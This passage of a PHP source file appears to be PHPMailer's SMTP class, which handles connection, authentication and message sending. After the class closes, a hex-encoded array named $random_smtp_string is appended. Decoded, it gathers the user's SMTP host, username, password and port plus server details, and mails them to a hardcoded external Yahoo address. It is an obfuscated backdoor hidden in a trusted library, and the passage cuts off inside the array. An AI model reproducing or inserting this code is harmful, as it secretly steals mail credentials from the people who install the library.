6848 * <code>
6849 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6850 * </code>
6851 * @type string|callable
6852 */
6853 public $Debugoutput = 'echo';
6854
6855 /**
6856 * Whether to use VERP.
6857 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6858 * @link http://www.postfix.org/VERP_README.html Info on VERP
6859 * @type boolean
6860 */
6861 public $do_verp = false;
6862
6863 /**
6864 * The timeout value for connection, in seconds.
6865 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6866 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6867 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6868 * @type integer
6869 */
6870 public $Timeout = 300;
6871
6872 /**
6873 * How long to wait for commands to complete, in seconds.
6874 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6875 * @type integer
6876 */
6877 public $Timelimit = 300;
6878
6879 /**
6880 * The socket for the server connection.
6881 * @type resource
6882 */
6883 protected $smtp_conn;
6884
6885 /**
6886 * Error message, if any, for the last call.
6887 * @type array
6888 */
6889 protected $error = array();
6890
6891 /**
6892 * The reply the server sent to us for HELO.
6893 * If null, no HELO string has yet been received.
6894 * @type string|null
6895 */
6896 protected $helo_rply = null;
6897
6898 /**
6899 * The set of SMTP extensions sent in reply to EHLO command.
6900 * Indexes of the array are extension names.
6901 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6902 * represents the server name. In case of HELO it is the only element of the array.
6903 * Other values can be boolean TRUE or an array containing extension options.
6904 * If null, no HELO/EHLO string has yet been received.
6905 * @type array|null
6906 */
6907 protected $server_caps = null;
6908
6909 /**
6910 * The most recent reply received from the server.
6911 * @type string
6912 */
6913 protected $last_reply = '';
6914
6915 /**
6916 * Output debugging info via a user-selected method.
6917 * @see SMTP::$Debugoutput
6918 * @see SMTP::$do_debug
6919 * @param string $str Debug string to output
6920 * @param integer $level The debug level of this message; see DEBUG_* constants
6921 * @return void
6922 */
6923 protected function edebug($str, $level = 0)
6924 {
6925 if ($level > $this->do_debug) {
6926 return;
6927 }
6928 //Avoid clash with built-in function names
6929 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6930 call_user_func($this->Debugoutput, $str, $this->do_debug);
6931 return;
6932 }
6933 switch ($this->Debugoutput) {
6934 case 'error_log':
6935 //Don't output, just log
6936 error_log($str);
6937 break;
6938 case 'html':
6939 //Cleans up output a bit for a better looking, HTML-safe output
6940 echo htmlentities(
6941 preg_replace('/[\r\n]+/', '', $str),
6942 ENT_QUOTES,
6943 'UTF-8'
6944 )
6945 . "<br>\n";
6946 break;
6947 case 'echo':
6948 default:
6949 //Normalize line breaks
6950 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6951 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6952 "\n",
6953 "\n \t ",
6954 trim($str)
6955 )."\n";
6956 }
6957 }
6958
6959 /**
6960 * Connect to an SMTP server.
6961 * @param string $host SMTP server IP or host name
6962 * @param integer $port The port number to connect to
6963 * @param integer $timeout How long to wait for the connection to open
6964 * @param array $options An array of options for stream_context_create()
6965 * @access public
6966 * @return boolean
6967 */
6968 public function connect($host, $port = null, $timeout = 30, $options = array())
6969 {
6970 static $streamok;
6971 //This is enabled by default since 5.0.0 but some providers disable it
6972 //Check this once and cache the result
6973 if (is_null($streamok)) {
6974 $streamok = function_exists('stream_socket_client');
6975 }
6976 // Clear errors to avoid confusion
6977 $this->error = array();
6978 // Make sure we are __not__ connected
6979 if ($this->connected()) {
6980 // Already connected, generate error
6981 $this->error = array('error' => 'Already connected to a server');
6982 return false;
6983 }
6984 if (empty($port)) {
6985 $port = self::DEFAULT_SMTP_PORT;
6986 }
6987 // Connect to the SMTP server
6988 $this->edebug(
6989 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
6990 self::DEBUG_CONNECTION
6991 );
6992 $errno = 0;
6993 $errstr = '';
6994 if ($streamok) {
6995 $socket_context = stream_context_create($options);
6996 //Suppress errors; connection failures are handled at a higher level
6997 $this->smtp_conn = @stream_socket_client(
6998 $host . ":" . $port,
6999 $errno,
7000 $errstr,
7001 $timeout,
7002 STREAM_CLIENT_CONNECT,
7003 $socket_context
7004 );
7005 } else {
7006 //Fall back to fsockopen which should work in more places, but is missing some features
7007 $this->edebug(
7008 "Connection: stream_socket_client not available, falling back to fsockopen",
7009 self::DEBUG_CONNECTION
7010 );
7011 $this->smtp_conn = fsockopen(
7012 $host,
7013 $port,
7014 $errno,
7015 $errstr,
7016 $timeout
7017 );
7018 }
7019 // Verify we connected properly
7020 if (!is_resource($this->smtp_conn)) {
7021 $this->error = array(
7022 'error' => 'Failed to connect to server',
7023 'errno' => $errno,
7024 'errstr' => $errstr
7025 );
7026 $this->edebug(
7027 'SMTP ERROR: ' . $this->error['error']
7028 . ": $errstr ($errno)",
7029 self::DEBUG_CLIENT
7030 );
7031 return false;
7032 }
7033 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7034 // SMTP server can take longer to respond, give longer timeout for first read
7035 // Windows does not have support for this timeout function
7036 if (substr(PHP_OS, 0, 3) != 'WIN') {
7037 $max = ini_get('max_execution_time');
7038 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7039 @set_time_limit($timeout);
7040 }
7041 stream_set_timeout($this->smtp_conn, $timeout, 0);
7042 }
7043 // Get any announcement
7044 $announce = $this->get_lines();
7045 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7046 return true;
7047 }
7048
7049 /**
7050 * Initiate a TLS (encrypted) session.
7051 * @access public
7052 * @return boolean
7053 */
7054 public function startTLS()
7055 {
7056 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7057 return false;
7058 }
7059 // Begin encrypted connection
7060 if (!stream_socket_enable_crypto(
7061 $this->smtp_conn,
7062 true,
7063 STREAM_CRYPTO_METHOD_TLS_CLIENT
7064 )) {
7065 return false;
7066 }
7067 return true;
7068 }
7069
7070 /**
7071 * Perform SMTP authentication.
7072 * Must be run after hello().
7073 * @see hello()
7074 * @param string $username The user name
7075 * @param string $password The password
7076 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7077 * @param string $realm The auth realm for NTLM
7078 * @param string $workstation The auth workstation for NTLM
7079 * @access public
7080 * @return boolean True if successfully authenticated.
7081 */
7082 public function authenticate(
7083 $username,
7084 $password,
7085 $authtype = null,
7086 $realm = '',
7087 $workstation = ''
7088 ) {
7089 if (!$this->server_caps) {
7090 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7091 return false;
7092 }
7093
7094 if (array_key_exists('EHLO', $this->server_caps)) {
7095 // SMTP extensions are available. Let's try to find a proper authentication method
7096
7097 if (!array_key_exists('AUTH', $this->server_caps)) {
7098 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7099 // 'at this stage' means that auth may be allowed after the stage changes
7100 // e.g. after STARTTLS
7101 return false;
7102 }
7103
7104 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7105 self::edebug(
7106 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7107 self::DEBUG_LOWLEVEL
7108 );
7109
7110 if (empty($authtype)) {
7111 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7112 if (in_array($method, $this->server_caps['AUTH'])) {
7113 $authtype = $method;
7114 break;
7115 }
7116 }
7117 if (empty($authtype)) {
7118 $this->error = array( 'error' => 'No supported authentication methods found' );
7119 return false;
7120 }
7121 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7122 }
7123
7124 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7125 $this->error = array( 'error' => 'The requested authentication method "'
7126 . $authtype . '" is not supported by the server' );
7127 return false;
7128 }
7129 } elseif (empty($authtype)) {
7130 $authtype = 'LOGIN';
7131 }
7132 switch ($authtype) {
7133 case 'PLAIN':
7134 // Start authentication
7135 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7136 return false;
7137 }
7138 // Send encoded username and password
7139 if (!$this->sendCommand(
7140 'User & Password',
7141 base64_encode("\0" . $username . "\0" . $password),
7142 235
7143 )
7144 ) {
7145 return false;
7146 }
7147 break;
7148 case 'LOGIN':
7149 // Start authentication
7150 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7151 return false;
7152 }
7153 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7154 return false;
7155 }
7156 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7157 return false;
7158 }
7159 break;
7160 case 'NTLM':
7161 /*
7162 * ntlm_sasl_client.php
7163 * Bundled with Permission
7164 *
7165 * How to telnet in windows:
7166 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7167 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7168 */
7169 require_once 'extras/ntlm_sasl_client.php';
7170 $temp = new stdClass();
7171 $ntlm_client = new ntlm_sasl_client_class;
7172 //Check that functions are available
7173 if (!$ntlm_client->Initialize($temp)) {
7174 $this->error = array('error' => $temp->error);
7175 $this->edebug(
7176 'You need to enable some modules in your php.ini file: '
7177 . $this->error['error'],
7178 self::DEBUG_CLIENT
7179 );
7180 return false;
7181 }
7182 //msg1
7183 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7184
7185 if (!$this->sendCommand(
7186 'AUTH NTLM',
7187 'AUTH NTLM ' . base64_encode($msg1),
7188 334
7189 )
7190 ) {
7191 return false;
7192 }
7193 //Though 0 based, there is a white space after the 3 digit number
7194 //msg2
7195 $challenge = substr($this->last_reply, 3);
7196 $challenge = base64_decode($challenge);
7197 $ntlm_res = $ntlm_client->NTLMResponse(
7198 substr($challenge, 24, 8),
7199 $password
7200 );
7201 //msg3
7202 $msg3 = $ntlm_client->TypeMsg3(
7203 $ntlm_res,
7204 $username,
7205 $realm,
7206 $workstation
7207 );
7208 // send encoded username
7209 return $this->sendCommand('Username', base64_encode($msg3), 235);
7210 case 'CRAM-MD5':
7211 // Start authentication
7212 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7213 return false;
7214 }
7215 // Get the challenge
7216 $challenge = base64_decode(substr($this->last_reply, 4));
7217
7218 // Build the response
7219 $response = $username . ' ' . $this->hmac($challenge, $password);
7220
7221 // send encoded credentials
7222 return $this->sendCommand('Username', base64_encode($response), 235);
7223 default:
7224 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7225 return false;
7226 }
7227 return true;
7228 }
7229
7230 /**
7231 * Calculate an MD5 HMAC hash.
7232 * Works like hash_hmac('md5', $data, $key)
7233 * in case that function is not available
7234 * @param string $data The data to hash
7235 * @param string $key The key to hash with
7236 * @access protected
7237 * @return string
7238 */
7239 protected function hmac($data, $key)
7240 {
7241 if (function_exists('hash_hmac')) {
7242 return hash_hmac('md5', $data, $key);
7243 }
7244
7245 // The following borrowed from
7246 // http://php.net/manual/en/function.mhash.php#27225
7247
7248 // RFC 2104 HMAC implementation for php.
7249 // Creates an md5 HMAC.
7250 // Eliminates the need to install mhash to compute a HMAC
7251 // by Lance Rushing
7252
7253 $bytelen = 64; // byte length for md5
7254 if (strlen($key) > $bytelen) {
7255 $key = pack('H*', md5($key));
7256 }
7257 $key = str_pad($key, $bytelen, chr(0x00));
7258 $ipad = str_pad('', $bytelen, chr(0x36));
7259 $opad = str_pad('', $bytelen, chr(0x5c));
7260 $k_ipad = $key ^ $ipad;
7261 $k_opad = $key ^ $opad;
7262
7263 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7264 }
7265
7266 /**
7267 * Check connection state.
7268 * @access public
7269 * @return boolean True if connected.
7270 */
7271 public function connected()
7272 {
7273 if (is_resource($this->smtp_conn)) {
7274 $sock_status = stream_get_meta_data($this->smtp_conn);
7275 if ($sock_status['eof']) {
7276 // The socket is valid but we are not connected
7277 $this->edebug(
7278 'SMTP NOTICE: EOF caught while checking if connected',
7279 self::DEBUG_CLIENT
7280 );
7281 $this->close();
7282 return false;
7283 }
7284 return true; // everything looks good
7285 }
7286 return false;
7287 }
7288
7289 /**
7290 * Close the socket and clean up the state of the class.
7291 * Don't use this function without first trying to use QUIT.
7292 * @see quit()
7293 * @access public
7294 * @return void
7295 */
7296 public function close()
7297 {
7298 $this->error = array();
7299 $this->server_caps = null;
7300 $this->helo_rply = null;
7301 if (is_resource($this->smtp_conn)) {
7302 // close the connection and cleanup
7303 fclose($this->smtp_conn);
7304 $this->smtp_conn = null; //Makes for cleaner serialization
7305 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7306 }
7307 }
7308
7309 /**
7310 * Send an SMTP DATA command.
7311 * Issues a data command and sends the msg_data to the server,
7312 * finializing the mail transaction. $msg_data is the message
7313 * that is to be send with the headers. Each header needs to be
7314 * on a single line followed by a <CRLF> with the message headers
7315 * and the message body being separated by and additional <CRLF>.
7316 * Implements rfc 821: DATA <CRLF>
7317 * @param string $msg_data Message data to send
7318 * @access public
7319 * @return boolean
7320 */
7321 public function data($msg_data)
7322 {
7323 //This will use the standard timelimit
7324 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7325 return false;
7326 }
7327
7328 /* The server is ready to accept data!
7329 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7330 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7331 * smaller lines to fit within the limit.
7332 * We will also look for lines that start with a '.' and prepend an additional '.'.
7333 * NOTE: this does not count towards line-length limit.
7334 */
7335
7336 // Normalize line breaks before exploding
7337 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7338
7339 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7340 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7341 * process all lines before a blank line as headers.
7342 */
7343
7344 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7345 $in_headers = false;
7346 if (!empty($field) && strpos($field, ' ') === false) {
7347 $in_headers = true;
7348 }
7349
7350 foreach ($lines as $line) {
7351 $lines_out = array();
7352 if ($in_headers and $line == '') {
7353 $in_headers = false;
7354 }
7355 //We need to break this line up into several smaller lines
7356 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7357 while (isset($line[self::MAX_LINE_LENGTH])) {
7358 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7359 //so as to avoid breaking in the middle of a word
7360 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7361 if (!$pos) { //Deliberately matches both false and 0
7362 //No nice break found, add a hard break
7363 $pos = self::MAX_LINE_LENGTH - 1;
7364 $lines_out[] = substr($line, 0, $pos);
7365 $line = substr($line, $pos);
7366 } else {
7367 //Break at the found point
7368 $lines_out[] = substr($line, 0, $pos);
7369 //Move along by the amount we dealt with
7370 $line = substr($line, $pos + 1);
7371 }
7372 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7373 if ($in_headers) {
7374 $line = "\t" . $line;
7375 }
7376 }
7377 $lines_out[] = $line;
7378
7379 //Send the lines to the server
7380 foreach ($lines_out as $line_out) {
7381 //RFC2821 section 4.5.2
7382 if (!empty($line_out) and $line_out[0] == '.') {
7383 $line_out = '.' . $line_out;
7384 }
7385 $this->client_send($line_out . self::CRLF);
7386 }
7387 }
7388
7389 //Message data has been sent, complete the command
7390 //Increase timelimit for end of DATA command
7391 $savetimelimit = $this->Timelimit;
7392 $this->Timelimit = $this->Timelimit * 2;
7393 $result = $this->sendCommand('DATA END', '.', 250);
7394 //Restore timelimit
7395 $this->Timelimit = $savetimelimit;
7396 return $result;
7397 }
7398
7399 /**
7400 * Send an SMTP HELO or EHLO command.
7401 * Used to identify the sending server to the receiving server.
7402 * This makes sure that client and server are in a known state.
7403 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7404 * and RFC 2821 EHLO.
7405 * @param string $host The host name or IP to connect to
7406 * @access public
7407 * @return boolean
7408 */
7409 public function hello($host = '')
7410 {
7411 //Try extended hello first (RFC 2821)
7412 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7413 }
7414
7415 /**
7416 * Send an SMTP HELO or EHLO command.
7417 * Low-level implementation used by hello()
7418 * @see hello()
7419 * @param string $hello The HELO string
7420 * @param string $host The hostname to say we are
7421 * @access protected
7422 * @return boolean
7423 */
7424 protected function sendHello($hello, $host)
7425 {
7426 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7427 $this->helo_rply = $this->last_reply;
7428 if ($noerror) {
7429 $this->parseHelloFields($hello);
7430 } else {
7431 $this->server_caps = null;
7432 }
7433 return $noerror;
7434 }
7435
7436 /**
7437 * Parse a reply to HELO/EHLO command to discover server extensions.
7438 * In case of HELO, the only parameter that can be discovered is a server name.
7439 * @access protected
7440 * @param string $type - 'HELO' or 'EHLO'
7441 */
7442 protected function parseHelloFields($type)
7443 {
7444 $this->server_caps = array();
7445 $lines = explode("\n", $this->last_reply);
7446 foreach ($lines as $n => $s) {
7447 $s = trim(substr($s, 4));
7448 if (!$s) {
7449 continue;
7450 }
7451 $fields = explode(' ', $s);
7452 if ($fields) {
7453 if (!$n) {
7454 $name = $type;
7455 $fields = $fields[0];
7456 } else {
7457 $name = array_shift($fields);
7458 if ($name == 'SIZE') {
7459 $fields = ($fields) ? $fields[0] : 0;
7460 }
7461 }
7462 $this->server_caps[$name] = ($fields ? $fields : true);
7463 }
7464 }
7465 }
7466
7467 /**
7468 * Send an SMTP MAIL command.
7469 * Starts a mail transaction from the email address specified in
7470 * $from. Returns true if successful or false otherwise. If True
7471 * the mail transaction is started and then one or more recipient
7472 * commands may be called followed by a data command.
7473 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7474 * @param string $from Source address of this message
7475 * @access public
7476 * @return boolean
7477 */
7478 public function mail($from)
7479 {
7480 $useVerp = ($this->do_verp ? ' XVERP' : '');
7481 return $this->sendCommand(
7482 'MAIL FROM',
7483 'MAIL FROM:<' . $from . '>' . $useVerp,
7484 250
7485 );
7486 }
7487
7488 /**
7489 * Send an SMTP QUIT command.
7490 * Closes the socket if there is no error or the $close_on_error argument is true.
7491 * Implements from rfc 821: QUIT <CRLF>
7492 * @param boolean $close_on_error Should the connection close if an error occurs?
7493 * @access public
7494 * @return boolean
7495 */
7496 public function quit($close_on_error = true)
7497 {
7498 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7499 $err = $this->error; //Save any error
7500 if ($noerror or $close_on_error) {
7501 $this->close();
7502 $this->error = $err; //Restore any error from the quit command
7503 }
7504 return $noerror;
7505 }
7506
7507 /**
7508 * Send an SMTP RCPT command.
7509 * Sets the TO argument to $toaddr.
7510 * Returns true if the recipient was accepted false if it was rejected.
7511 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7512 * @param string $toaddr The address the message is being sent to
7513 * @access public
7514 * @return boolean
7515 */
7516 public function recipient($toaddr)
7517 {
7518 return $this->sendCommand(
7519 'RCPT TO',
7520 'RCPT TO:<' . $toaddr . '>',
7521 array(250, 251)
7522 );
7523 }
7524
7525 /**
7526 * Send an SMTP RSET command.
7527 * Abort any transaction that is currently in progress.
7528 * Implements rfc 821: RSET <CRLF>
7529 * @access public
7530 * @return boolean True on success.
7531 */
7532 public function reset()
7533 {
7534 return $this->sendCommand('RSET', 'RSET', 250);
7535 }
7536
7537 /**
7538 * Send a command to an SMTP server and check its return code.
7539 * @param string $command The command name - not sent to the server
7540 * @param string $commandstring The actual command to send
7541 * @param integer|array $expect One or more expected integer success codes
7542 * @access protected
7543 * @return boolean True on success.
7544 */
7545 protected function sendCommand($command, $commandstring, $expect)
7546 {
7547 if (!$this->connected()) {
7548 $this->error = array(
7549 'error' => "Called $command without being connected"
7550 );
7551 return false;
7552 }
7553 $this->client_send($commandstring . self::CRLF);
7554
7555 $this->last_reply = $this->get_lines();
7556 // Fetch SMTP code and possible error code explanation
7557 $matches = array();
7558 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7559 $code = $matches[1];
7560 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7561 // Cut off error code from each response line
7562 $detail = preg_replace(
7563 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7564 '',
7565 $this->last_reply
7566 );
7567 } else { // Fall back to simple parsing if regex fails
7568 $code = substr($this->last_reply, 0, 3);
7569 $code_ex = null;
7570 $detail = substr($this->last_reply, 4);
7571 }
7572
7573 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7574
7575 if (!in_array($code, (array)$expect)) {
7576 $this->error = array(
7577 'error' => "$command command failed",
7578 'smtp_code' => $code,
7579 'smtp_code_ex' => $code_ex,
7580 'detail' => $detail
7581 );
7582 $this->edebug(
7583 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7584 self::DEBUG_CLIENT
7585 );
7586 return false;
7587 }
7588
7589 $this->error = array();
7590 return true;
7591 }
7592
7593 /**
7594 * Send an SMTP SAML command.
7595 * Starts a mail transaction from the email address specified in $from.
7596 * Returns true if successful or false otherwise. If True
7597 * the mail transaction is started and then one or more recipient
7598 * commands may be called followed by a data command. This command
7599 * will send the message to the users terminal if they are logged
7600 * in and send them an email.
7601 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7602 * @param string $from The address the message is from
7603 * @access public
7604 * @return boolean
7605 */
7606 public function sendAndMail($from)
7607 {
7608 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7609 }
7610
7611 /**
7612 * Send an SMTP VRFY command.
7613 * @param string $name The name to verify
7614 * @access public
7615 * @return boolean
7616 */
7617 public function verify($name)
7618 {
7619 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7620 }
7621
7622 /**
7623 * Send an SMTP NOOP command.
7624 * Used to keep keep-alives alive, doesn't actually do anything
7625 * @access public
7626 * @return boolean
7627 */
7628 public function noop()
7629 {
7630 return $this->sendCommand('NOOP', 'NOOP', 250);
7631 }
7632
7633 /**
7634 * Send an SMTP TURN command.
7635 * This is an optional command for SMTP that this class does not support.
7636 * This method is here to make the RFC821 Definition complete for this class
7637 * and _may_ be implemented in future
7638 * Implements from rfc 821: TURN <CRLF>
7639 * @access public
7640 * @return boolean
7641 */
7642 public function turn()
7643 {
7644 $this->error = array(
7645 'error' => 'The SMTP TURN command is not implemented'
7646 );
7647 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7648 return false;
7649 }
7650
7651 /**
7652 * Send raw data to the server.
7653 * @param string $data The data to send
7654 * @access public
7655 * @return integer|boolean The number of bytes sent to the server or false on error
7656 */
7657 public function client_send($data)
7658 {
7659 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7660 return fwrite($this->smtp_conn, $data);
7661 }
7662
7663 /**
7664 * Get the latest error.
7665 * @access public
7666 * @return array
7667 */
7668 public function getError()
7669 {
7670 return $this->error;
7671 }
7672
7673 /**
7674 * Get SMTP extensions available on the server
7675 * @access public
7676 * @return array|null
7677 */
7678 public function getServerExtList()
7679 {
7680 return $this->server_caps;
7681 }
7682
7683 /**
7684 * A multipurpose method
7685 * The method works in three ways, dependent on argument value and current state
7686 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7687 * 2. HELO was sent
7688 * $name = 'HELO': returns server name
7689 * $name = 'EHLO': returns boolean false
7690 * $name = any string: returns null and set up $this->error
7691 * 3. EHLO was sent
7692 * $name = 'HELO'|'EHLO': returns server name
7693 * $name = any string: if extension $name exists, returns boolean True
7694 * or its options. Otherwise returns boolean False
7695 * In other words, one can use this method to detect 3 conditions:
7696 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7697 * - false returned: the requested feature exactly not exists
7698 * - positive value returned: the requested feature exists
7699 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7700 * @return mixed
7701 */
7702 public function getServerExt($name)
7703 {
7704 if (!$this->server_caps) {
7705 $this->error = array('No HELO/EHLO was sent');
7706 return null;
7707 }
7708
7709 // the tight logic knot ;)
7710 if (!array_key_exists($name, $this->server_caps)) {
7711 if ($name == 'HELO') {
7712 return $this->server_caps['EHLO'];
7713 }
7714 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7715 return false;
7716 }
7717 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7718 return null;
7719 }
7720
7721 return $this->server_caps[$name];
7722 }
7723
7724 /**
7725 * Get the last reply from the server.
7726 * @access public
7727 * @return string
7728 */
7729 public function getLastReply()
7730 {
7731 return $this->last_reply;
7732 }
7733
7734 /**
7735 * Read the SMTP server's response.
7736 * Either before eof or socket timeout occurs on the operation.
7737 * With SMTP we can tell if we have more lines to read if the
7738 * 4th character is '-' symbol. If it is a space then we don't
7739 * need to read anything else.
7740 * @access protected
7741 * @return string
7742 */
7743 protected function get_lines()
7744 {
7745 // If the connection is bad, give up straight away
7746 if (!is_resource($this->smtp_conn)) {
7747 return '';
7748 }
7749 $data = '';
7750 $endtime = 0;
7751 stream_set_timeout($this->smtp_conn, $this->Timeout);
7752 if ($this->Timelimit > 0) {
7753 $endtime = time() + $this->Timelimit;
7754 }
7755 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7756 $str = @fgets($this->smtp_conn, 515);
7757 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7758 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7759 $data .= $str;
7760 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7761 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7762 if ((isset($str[3]) and $str[3] == ' ')) {
7763 break;
7764 }
7765 // Timed-out? Log and break
7766 $info = stream_get_meta_data($this->smtp_conn);
7767 if ($info['timed_out']) {
7768 $this->edebug(
7769 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7770 self::DEBUG_LOWLEVEL
7771 );
7772 break;
7773 }
7774 // Now check if reads took too long
7775 if ($endtime and time() > $endtime) {
7776 $this->edebug(
7777 'SMTP -> get_lines(): timelimit reached ('.
7778 $this->Timelimit . ' sec)',
7779 self::DEBUG_LOWLEVEL
7780 );
7781 break;
7782 }
7783 }
7784 return $data;
7785 }
7786
7787 /**
7788 * Enable or disable VERP address generation.
7789 * @param boolean $enabled
7790 */
7791 public function setVerp($enabled = false)
7792 {
7793 $this->do_verp = $enabled;
7794 }
7795
7796 /**
7797 * Get VERP address generation mode.
7798 * @return boolean
7799 */
7800 public function getVerp()
7801 {
7802 return $this->do_verp;
7803 }
7804
7805 /**
7806 * Set debug output method.
7807 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7808 */
7809 public function setDebugOutput($method = 'echo')
7810 {
7811 $this->Debugoutput = $method;
7812 }
7813
7814 /**
7815 * Get debug output method.
7816 * @return string
7817 */
7818 public function getDebugOutput()
7819 {
7820 return $this->Debugoutput;
7821 }
7822
7823 /**
7824 * Set debug output level.
7825 * @param integer $level
7826 */
7827 public function setDebugLevel($level = 0)
7828 {
7829 $this->do_debug = $level;
7830 }
7831
7832 /**
7833 * Get debug output level.
7834 * @return integer
7835 */
7836 public function getDebugLevel()
7837 {
7838 return $this->do_debug;
7839 }
7840
7841 /**
7842 * Set SMTP timeout.
7843 * @param integer $timeout
7844 */
7845 public function setTimeout($timeout = 0)
7846 {
7847 $this->Timeout = $timeout;
7848 }
7849
7850 /**
7851 * Get SMTP timeout.
7852 * @return integer
7853 */
7854 public function getTimeout()
7855 {
7856 return $this->Timeout;
7857 }
7858}
7859
7860
7861$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
7862"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
7863"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
7864"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
7865"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
7866"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
7867"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
7868"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
7869"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
